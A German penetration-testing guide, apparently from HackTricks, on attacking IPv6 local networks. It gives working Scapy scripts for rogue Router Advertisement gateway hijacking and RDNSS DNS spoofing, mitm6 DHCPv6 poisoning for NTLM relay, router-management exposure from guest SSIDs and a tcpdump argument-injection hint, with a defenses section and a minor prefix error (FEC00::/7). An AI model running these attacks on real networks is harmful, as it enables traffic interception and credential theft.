Pentesting IPv6
Reading time: 14 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
IPv6 Grundtheorie
Netzwerke
IPv6-Adressen sind so strukturiert, dass sie die Netzwerkorganisation und die Interaktion von Geräten verbessern. Eine IPv6-Adresse ist unterteilt in:
- Netzwerkpräfix: Die ersten 48 Bits, die das Netzwerksegment bestimmen.
- Subnetz-ID: Die folgenden 16 Bits, die zur Definition spezifischer Subnetze innerhalb des Netzwerks verwendet werden.
- Schnittstellenbezeichner: Die letzten 64 Bits, die ein Gerät innerhalb des Subnetzes eindeutig identifizieren.
Während IPv6 das in IPv4 vorhandene ARP-Protokoll weglässt, führt es ICMPv6 mit zwei Hauptnachrichten ein:
- Neighbor Solicitation (NS): Multicast-Nachrichten zur Adressauflösung.
- Neighbor Advertisement (NA): Unicast-Antworten auf NS oder spontane Ankündigungen.
IPv6 umfasst auch spezielle Adresstypen:
- Loopback-Adresse (
::1
): Entspricht IPv4's127.0.0.1
, für die interne Kommunikation innerhalb des Hosts. - Link-Local-Adressen (
FE80::/10
): Für lokale Netzwerkaktivitäten, nicht für das Internet-Routing. Geräte im selben lokalen Netzwerk können sich mit diesem Bereich gegenseitig entdecken.
Praktische Nutzung von IPv6 in Netzwerkbefehlen
Um mit IPv6-Netzwerken zu interagieren, können Sie verschiedene Befehle verwenden:
- Ping Link-Local-Adressen: Überprüfen Sie die Anwesenheit lokaler Geräte mit
ping6
. - Neighbor Discovery: Verwenden Sie
ip neigh
, um Geräte zu sehen, die auf der Linkschicht entdeckt wurden. - alive6: Ein alternatives Tool zur Entdeckung von Geräten im selben Netzwerk.
Unten sind einige Beispielbefehle:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6-Adressen können aus der MAC-Adresse eines Geräts für die lokale Kommunikation abgeleitet werden. Hier ist eine vereinfachte Anleitung, wie man die Link-Local IPv6-Adresse aus einer bekannten MAC-Adresse ableitet, sowie eine kurze Übersicht über IPv6-Adresstypen und Methoden zur Entdeckung von IPv6-Adressen innerhalb eines Netzwerks.
Ableitung der Link-Local IPv6 von der MAC-Adresse
Gegeben ist eine MAC-Adresse 12:34:56:78:9a:bc
, die Link-Local IPv6-Adresse kann wie folgt konstruiert werden:
- MAC in IPv6-Format umwandeln:
1234:5678:9abc
fe80::
voranstellen undfffe
in die Mitte einfügen:fe80::1234:56ff:fe78:9abc
- Das siebte Bit von links umkehren, wodurch
1234
zu1034
wird:fe80::1034:56ff:fe78:9abc
IPv6-Adresstypen
- Unique Local Address (ULA): Für lokale Kommunikation, nicht für das Routing im öffentlichen Internet gedacht. Präfix:
FEC00::/7
- Multicast-Adresse: Für Eins-zu-viele-Kommunikation. An alle Schnittstellen in der Multicast-Gruppe geliefert. Präfix:
FF00::/8
- Anycast-Adresse: Für Eins-zu-nächste Kommunikation. An die nächstgelegene Schnittstelle gemäß Routing-Protokoll gesendet. Teil des
2000::/3
globalen Unicast-Bereichs.
Adresspräfixe
- fe80::/10: Link-Local-Adressen (ähnlich wie 169.254.x.x)
- fc00::/7: Unique Local-Unicast (ähnlich wie private IPv4-Bereiche wie 10.x.x.x, 172.16.x.x, 192.168.x.x)
- 2000::/3: Global Unicast
- ff02::1: Multicast Alle Knoten
- ff02::2: Multicast Router-Knoten
Entdeckung von IPv6-Adressen innerhalb eines Netzwerks
Methode 1: Verwendung von Link-Local-Adressen
- Ermitteln Sie die MAC-Adresse eines Geräts im Netzwerk.
- Leiten Sie die Link-Local IPv6-Adresse aus der MAC-Adresse ab.
Methode 2: Verwendung von Multicast
- Senden Sie ein Ping an die Multicast-Adresse
ff02::1
, um IPv6-Adressen im lokalen Netzwerk zu entdecken.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Angriffe
Es gibt mehrere Techniken zur Durchführung von MitM-Angriffen in IPv6-Netzwerken, wie zum Beispiel:
- Spoofing von ICMPv6-Nachbar- oder Router-Anzeigen.
- Verwendung von ICMPv6-Redirect- oder "Packet Too Big"-Nachrichten zur Manipulation des Routings.
- Angriffe auf mobiles IPv6 (erfordert normalerweise, dass IPSec deaktiviert ist).
- Einrichten eines bösartigen DHCPv6-Servers.
Identifizierung von IPv6-Adressen im Feld
Erforschen von Subdomains
Eine Methode, um Subdomains zu finden, die potenziell mit IPv6-Adressen verknüpft sind, besteht darin, Suchmaschinen zu nutzen. Zum Beispiel kann ein Abfragemuster wie ipv6.*
effektiv sein. Konkret kann der folgende Suchbefehl in Google verwendet werden:
site:ipv6./
Nutzung von DNS-Abfragen
Um IPv6-Adressen zu identifizieren, können bestimmte DNS-Record-Typen abgefragt werden:
- AXFR: Fordert einen vollständigen Zonenübertrag an, der möglicherweise eine Vielzahl von DNS-Records aufdeckt.
- AAAA: Sucht direkt nach IPv6-Adressen.
- ANY: Eine breite Abfrage, die alle verfügbaren DNS-Records zurückgibt.
Abtasten mit Ping6
Nachdem IPv6-Adressen, die mit einer Organisation verbunden sind, identifiziert wurden, kann das Dienstprogramm ping6
zum Abtasten verwendet werden. Dieses Tool hilft dabei, die Reaktionsfähigkeit der identifizierten IPv6-Adressen zu bewerten und kann auch dabei helfen, benachbarte IPv6-Geräte zu entdecken.
IPv6 Angriffs-Techniken im lokalen Netzwerk
Die folgenden Abschnitte behandeln praktische Layer-2 IPv6-Angriffe, die innerhalb desselben /64-Segments ausgeführt werden können, ohne einen globalen Präfix zu kennen. Alle unten gezeigten Pakete sind link-local und reisen nur durch den lokalen Switch, was sie in den meisten Umgebungen extrem stealthy macht.
Systemanpassung für ein stabiles Labor
Bevor Sie mit IPv6-Verkehr experimentieren, wird empfohlen, Ihre Box abzusichern, um zu vermeiden, dass Sie durch Ihre eigenen Tests vergiftet werden, und um die beste Leistung während massiver Paket-Injektion/Sniffing zu erzielen.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Passive NDP & DHCPv6 Sniffing
Da jeder IPv6-Host automatisch mehreren Multicast-Gruppen beitritt (ff02::1
, ff02::2
, …) und ICMPv6 für SLAAC/NDP verwendet, können Sie das gesamte Segment kartieren, ohne ein einziges Paket zu senden. Der folgende Python/Scapy-Einzeiler lauscht auf die interessantesten L2-Nachrichten und druckt ein farbiges, zeitgestempeltes Protokoll darüber, wer wer ist:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Ergebnis: eine vollständige link-lokale Topologie (MAC ⇄ IPv6) in wenigen Sekunden, ohne IPS/IDS-Systeme auszulösen, die auf aktive Scans angewiesen sind.
Router Advertisement (RA) Spoofing
IPv6-Hosts verlassen sich auf ICMPv6 Router Advertisements zur Entdeckung des Standardgateways. Wenn Sie gefälschte RAs häufiger als der legitime Router einspeisen, wechseln die Geräte stillschweigend zu Ihnen als Gateway.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Um tatsächlich Traffic weiterzuleiten, nachdem das Rennen gewonnen wurde:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Router Advertisement Flags (M/O) & Default Router Preference (Prf)
Flag | Bedeutung | Effekt auf das Verhalten des Clients |
---|---|---|
M (Managed Address Configuration) | Wenn auf 1 gesetzt, muss der Host DHCPv6 verwenden, um seine IPv6-Adresse zu erhalten. | Die gesamte Adressierung erfolgt über DHCPv6 – perfekt für mitm6 Stilvergiftung. |
O (Other Configuration) | Wenn auf 1 gesetzt, sollte der Host DHCPv6 nur verwenden, um andere Informationen (DNS, NTP, …) zu erhalten. | Adresse weiterhin über SLAAC, aber DNS kann mit DHCPv6 hijacked werden. |
M=0 / O=0 | Reines SLAAC-Netzwerk. | Nur RA / RDNSS-Tricks sind möglich – DHCPv6 wird von Clients nicht gesendet. |
M=1 / O=1 | Gemischte Umgebung. | Sowohl DHCPv6 als auch SLAAC werden verwendet; die Angriffsfläche für Spoofing ist am größten. |
Während eines Pentests können Sie einfach die legitime RA einmal inspizieren und entscheiden, welcher Vektor machbar ist:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
Suchen Sie nach dem Feld flags [M,O]
im Dump – kein Raten erforderlich.
Das Prf (Router Preference) Feld im RA-Header steuert, wie attraktiv Ihr rogue Router aussieht, wenn mehrere Gateways vorhanden sind:
Prf-Wert | Binär | Bedeutung |
---|---|---|
Hoch | 10 | Clients bevorzugen diesen Router gegenüber jedem Mittleren/Niedrigen |
Mittel (Standard) | 01 | Wird von fast jedem legitimen Gerät verwendet |
Niedrig | 00 | Wird nur gewählt, wenn kein besserer Router vorhanden ist |
Beim Generieren des Pakets mit Scapy können Sie es über den prf
-Parameter wie oben gezeigt festlegen (prf=0x1
→ Hoch). Die Kombination aus Hoch Prf, einem kurzen Intervall und einer nicht null Lebensdauer macht Ihr rogue Gateway bemerkenswert stabil.
RDNSS (DNS) Spoofing über RA
RFC 8106 erlaubt das Hinzufügen einer Recursive DNS Server (RDNSS) Option innerhalb eines RA. Moderne Betriebssysteme (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) vertrauen darauf automatisch:
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Clients werden voranstellen Ihre DNS zu ihrer Resolverliste für die gegebene Lebensdauer, was vollständiges DNS-Hijacking bis zum Ablauf des Wertes oder bis Sie einen lifetime=0
Rückgängig machen senden, gewährt.
DHCPv6 DNS Spoofing (mitm6)
Anstelle von SLAAC verlassen sich Windows-Netzwerke oft auf zustandslosen DHCPv6 für DNS. mitm6 antwortet automatisch auf Solicit
-Nachrichten mit einem Advertise → Reply-Fluss, der Ihre Link-Local-Adresse als DNS für 300 Sekunden zuweist. Dies ermöglicht:
- NTLM-Relay-Angriffe (WPAD + DNS-Hijacking)
- Abfangen interner Namensauflösung, ohne Router zu berühren
Typische Verwendung:
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
Verteidigungen
- RA Guard / DHCPv6 Guard / ND Inspection auf verwalteten Switches.
- Port-ACLs, die nur die MAC-Adresse des legitimen Routers erlauben, RAs zu senden.
- Überwachen auf unsolide hochfrequente RAs oder plötzliche RDNSS-Änderungen.
- Das Deaktivieren von IPv6 an Endpunkten ist eine vorübergehende Lösung, die oft moderne Dienste unterbricht und blinde Flecken verbirgt – bevorzuge stattdessen L2-Filterung.
NDP-Routerentdeckung auf Gast-/Öffentlichen SSIDs und Exposition von Verwaltungsdiensten
Viele Consumer-Router exponieren Verwaltungs-Daemons (HTTP(S), SSH/Telnet, TR-069 usw.) auf allen Schnittstellen. In einigen Bereitstellungen ist die „Gast/öffentliche“ SSID mit dem WAN/Kern verbunden und ist nur IPv6. Selbst wenn sich die IPv6-Adresse des Routers bei jedem Boot ändert, kannst du sie zuverlässig mit NDP/ICMPv6 erlernen und dann direkt mit der Verwaltungsoberfläche von der Gast-SSID aus verbinden.
Typischer Workflow von einem Client, der mit der Gast-/öffentlichen SSID verbunden ist:
- Entdecke den Router über ICMPv6 Router Solicitation an die All-Routers-Multicast-Adresse
ff02::2
und erfasse die Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
Die RA zeigt die link-lokale Adresse des Routers und oft eine globale Adresse/präfix an. Wenn nur eine link-lokale Adresse bekannt ist, denken Sie daran, dass Verbindungen den Zonenindex angeben müssen, z.B. ssh -6 admin@[fe80::1%wlan0]
.
Alternative: Verwenden Sie die ndisc6-Suite, falls verfügbar:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Erreichen Sie exponierte Dienste über IPv6 vom Gast-SSID:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- Wenn die Management-Shell Packet-Capture-Tools über einen Wrapper (z.B. tcpdump) bereitstellt, überprüfen Sie auf Argument-/Dateinameninjektion, die das Übergeben zusätzlicher tcpdump-Flags wie
-G/-W/-z
ermöglicht, um die Ausführung von Post-Rotate-Befehlen zu erreichen. Siehe:
Abwehrmaßnahmen/Notizen:
- Binden Sie das Management nicht an Gast-/öffentliche Brücken; wenden Sie IPv6-Firewalls auf SSID-Brücken an.
- Begrenzen und filtern Sie NDP/RS/RA in Gastsegmenten, wo möglich.
- Für Dienste, die erreichbar sein müssen, setzen Sie AuthN/MFA und starke Ratenbegrenzungen durch.
Referenzen
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.